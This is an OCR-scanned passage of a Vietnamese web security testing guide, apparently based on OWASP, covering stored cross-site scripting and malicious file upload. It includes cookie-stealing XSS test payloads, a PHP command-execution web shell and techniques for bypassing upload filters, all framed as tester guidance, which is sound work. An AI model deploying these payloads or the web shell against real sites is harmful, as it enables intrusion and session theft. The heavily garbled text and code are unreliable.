
5. Stored Cross site scripting
5.1. Tom tat

Stored Scripting Cross-Site Scriptored (XSS) la loai tan c6ng kich ban Cross Site
Scripting. Cac ung dung Web cho phép nguoi dung luu trix dit ligu o thé bi tan cong boi
Kiéu tin cong nay. Chuong nay minh hoa cac vi du vé chén stored cross site scripting va
cac kich ban khai thac lién quan.

Stored XSS xay ra khi mét (rng dung web tap hop dir liéu input tir nguoi dung — dir
liéu nay c6 thé la dix liéu doc hai, va sau do6 luu trir dir liéu vao trong mot kho dir liéu dé sur
dung sau nay. Dir liéu luu trir khong duoc loc chinh xac. Do do, dir liéu doc hai sé xuat
hién nhu 1a mot phéan cua trang web va chay trong trinh duyét cua nguoi dung theo cac dac
quyen cua ung dung web.

L6 hong nay c6 thé duoc st dung dé tién hanh mot s6 cude tan cdng dya vao trinh
duyét bao gom:

- Chiém trinh duyét cua ngudi dung khéc

- Thu thap théng tin nhay cam dugc xem boi ngudi dung ng dung

- Gia mao tng dung

- Quét cong trén cac may chu noi bo ("nodi bo" lién quan dén ngudi sir dung cac tng
dung web)


https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

- Truc tiép thuc thi cac khai thac dua trén trinh duyét
- Cac hoat dong nguy hai khac

Stored XSS khdng can mot lién két doc hai duoc khai théc. Viéc khai thac thanh cong
Xay ra khi nguoi dung truy cap trang c6 XSS da luu trit. Céc giai doan sau lién quan dén
mot kich ban tan cong XSS dugc luu trir dién hinh:

- Nguoi tan cong luu trit ma doc hai vao trang chira 16 hong
- Nguoi dung xac thuc trong ung dung

- Nguoi dung truy cap trang chira 16 hdng nay

- Ma ddoc hai duoc thuc thi boi trinh duyét caa nguoi dung

Stored XSS dic biét nguy hiém trong cac khu vyc ang dung ma ngudi ding ¢6 quyén
wu tién cao dugc truy cap. Khi quan tri vién truy cap vao trang chira 16 hong, tin cong s&
tu dong duoc thuc thi bang trinh duyét caa ho. Dicu nay c6 thé gay tiét 16 thdng tin nhay
cam nhu ma token xac thyuc phién.

5.2. Kiém tra nhw thé nao

Qua trinh xac dinh cac 16 hong Stored XSS twong tu nhu qua trinh duwoc md ta trong
thtr nghiém cho reflected XSS.

Nhap cac Biéu mau

Budc dau tién 1a xac dinh tat ca cac diém dau vao cia nguoi diung duge luu trit VAo
back-end va sau d6 hién thi boi ing dung. Céc vi du dién hinh cua dau vao nguoi dung
dugc luu trir €6 thé duoc tim thay trong:

~ Trang Nguoi ding/Ho so: tng dung cho phép ngudi ding chinh stra/thay doi cac chi
tiet ho so nhu tén, ho, biét hiéu, hinh dai dién, hinh anh, dia chi ...

- Gi6 hang: ting dung cho phép ngudi dung luu trit cac mat hang vao gio hang dé sau
do co thé xem lai

- File Manager: (tng dung cho phép upload cac file

- Cai dat ung dung/tlly chon: ang dung cho phép nguoi ding thiét lap tiy chon
- Dién dan/Bang tin: &ng dung cho phép trao ddi cac bai ding giira nguoi dung
- Blog: néu ung dung blog cho phép nguoi ding gui nhan xét

- Bang nhap: néu tng dung luu trir mot sé ban ghi nhap vao tir ngudi dung.
Phéan tich md HTML

Luu y: Tét ca cac khu vyc cua tng dung c6 thé truy cap duoc boi quan tri vién phai
duogc Kiém tra dé xac dinh sy hién dién cua bat ky dir liéu nao do ngudi dung gui.

Vi du: Email luu trir dir liéu trong index2.php



User Details

Name: lAdministrator
Username: Iadm in

Email: Iaaa@aa . COm l
New Password: [

Verify Password: l

M& HTML cua index2.php noi dat gia tri email:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"
/>

Trong trudng hop nay, nguoi Kiém thir can tim mot cach dé chén ma bén ngoai thé
<input> nhu sau:

<input class="inputbox" type="text" name="email" size="40"
value="aaa@aa.com"> MALICIOUS CODE <!-- />

Thtr nghiém luu trir XSS

Diéu nay lién quan dén kiém tra xac nhan dau vao va kiém soét bo loc caa wng dung.
Cac vi du chén co ban trong treong hop nay:

aaa@aa.com"><script>alert(document.cookie)</script>

aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

DPam bao dit liéu duoc gui di dén tng dung.
Két qua mong doi:

User Details

Nams: administrator B N /ALy Rl LT
Username:

/¥ 32024ddbfO0FS209405e22d627ea2121=dff75c3dcd3e7a122a060952e61F3772;
Email: -g FS82fF45885b9eb08ee62e2f88b133F0=4549f21 1cb2fc201F1Fc205SFfba90376;

mostlyce[startup_key]l=al4c8f625e91772b25ac83b0asal 1365;
mostlyce[usertype]=Super-+Administrator;
37bb0aaS090deef730fcebs7 ad0bc338=52ebSc27c3e 1F713F426c8859ebf 1478

Ma HTML trong Iénh chén:



<input class="inputbox" type="text" name="email" size="40"
value="aaa@aa.com"><script>alert(document.cookie)</script>

Dir liéu Input dugc luu trit va ma khai thac XSS dugc thuc thi boi trinh duyét khi tai
lai trang. Néu input duoc escape bai tng dung, ngudi kiém tra nén kiém tra bo loc XSS
cua tng dung. Chang han, néu chudi "SCRIPT" duoc thay thé boi mot dau cach hoic boi
mét ky tu NULL thi day c6 thé 12 ddu hiéu tiém 4n cua tin cong XSS. Nhiéu k§ thuat ton
tai dé tranh né céac bo loc dau vao. Chang tdi khuyén cac thir nghiém nén tham khao céc
trang XSS Filter Evasion, RSnake va Mario XSS Cheat, n6 cung cap mét danh sach mo
rong cac cudc tan cong bo qua XSS va bo loc.

Tai liéu tham khao thém:

https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Ch
eat_Sheet.html

6. Upload of Malicious Files
6.1. TOm tat

Nhiéu quy trinh kinh doanh cuia tng dung cho phép tai 1&n dif ligu / thong tin. De
giam rai ro vé ATTT, chi nén chap nhan mot s6 phan mao rong tép nhat dinh.

Ung dung c6 thé cho phép tai Ién cac tép doc hai bao gom cac ma khai thac hodc
shellcode tir d6 gay ra cac van dé nghiém trong vé ATTT.

Vi du: Gia str mot ung dung chia s¢ hinh anh cho phép nguoi dung tai cac tép dd hoa
.gif hoic .jpg cua ho 1én trang web. Diéu gi xay ra néu ké tan cong c6 thé tai Ién tép PHP,
hoic tép exe hoic vi-rut? Ké tin cong sau khi tai 18n tép cd thé thuc thi tép trén hé thong,
vi-rit cd thé tu lay lan ra khéac hé théng khac ...

6.2. Lam thé nao dé kiém tra
Phwong phap kiém tra chung

- Xem lai tai ligu dv &n va st dung thir nghiém thdm do vao @ng dung / h¢ thong dé
xac dinh nhitng cé thé gay anh hudng doc hai dén hé thong.

- C géng tai tap tin doc hai 1én &ng dung / hé théng va xac minh rang né bj tir chéi
chinh xac.

- Néu nhiéu tép c6 thé duoc tai Ién cing mot ldc, phai co cac thir nghiém dé xac minh
rang moi tép dugc danh gia dung.

Vi du: tai 1én "WebShell-backdoor.php' d&én trang web nan nhén dich.



<?php
if(isset($_REQUEST[ "cmd ])}{
echo "<pre>";

fcmd = (% _REQUEST[ 'cmd"1);
system{$cmd);

echo "</pre>";

die;

»

- Thiét 1ap proxy chan dé bat yéu cau hop 18 cua nguoi diung cho mot tép duoc chap
nhan.

- Guri mot yéu cau khong hop 1é caa ngudi dung thdng qua viéc thay d6i phan mo
rong cua tép va xem yéu cau do co6 duogc chap nhan hoac tir choi dung khong.

Panh gia ma ngudn
Khi c6 tinh ning tai 1én tép duoc hd trg, AP/ phuong thirc sau day thuong duoc tim
thay trong ma nguon.

- Java: new file, import, upload, getFileName, Download, getOutputString,
fileOutputStream, java.io.file, export

- C/C++: open, fopen

- PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(),
copy(),fopen(),include(), require()

Céc k§y thuat sau day c6 thé duoc sir dung dé bo qua cac quy tic va bo loc kiém tra
tai 1én tép trang web.

- Thay ddi gia trj cia ‘Content-Type ' thanh 'image/jpeg’ trong yéu cau HTTP

- Thay d6i cac phan mo rong dudi dang cac phan mé rong thuc thi nhu file.php5,
file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml

- Thay di chix in hoa cta phan ma rong. chang han nhu file. PhP hoic file.AspX

- St dung dau vét dac biét nhu diu céach, dau chim hoidc ky tu null nhu file.asp.
file.php; jpg, file.asp% 00.jpg, 1.jpg% 00.php

- Trong 16 hong 11S6, néu tén tép 1a file.asp; file.jpg, tép s& duoc thuc thi duéi dang
file.asp.

- Trong NginX, néu tén tép gdc 1a test.jpg, ngudi kiém tra / tin tic cd thé thay dbi nd
thanh 'test.jpg / x.php'. Sau khi duogc tai l1én, té&p s¢ duoc thuc thi dudi dang x.php

Déi voi tap tin ZIP



- Mot tép Zip c6 thé chira PHP doc hai voi duong dan muc dich nhu '\ .\ L\ L\
hacker.php’ Neu trang web khong kiém tra duong dan dich giai nén, hacker.php c6 the giai
nén dén duong dan da chi dinh.

- Zip Bomp
- Tai 1&n tép bom ZIP c6 thé khién ung dung tir chéi dich vu.
https://github.com/AbhiAgarwal/notes/wiki/Zip-bomb



TAI LIEU THAM KHAO

1. https://owasp.org/Topl0/
2. https://cheatsheetseries.owasp.org/IndexTopTen.html
3. https://owasp.org/www-project-web-security-testing-guide/v42/



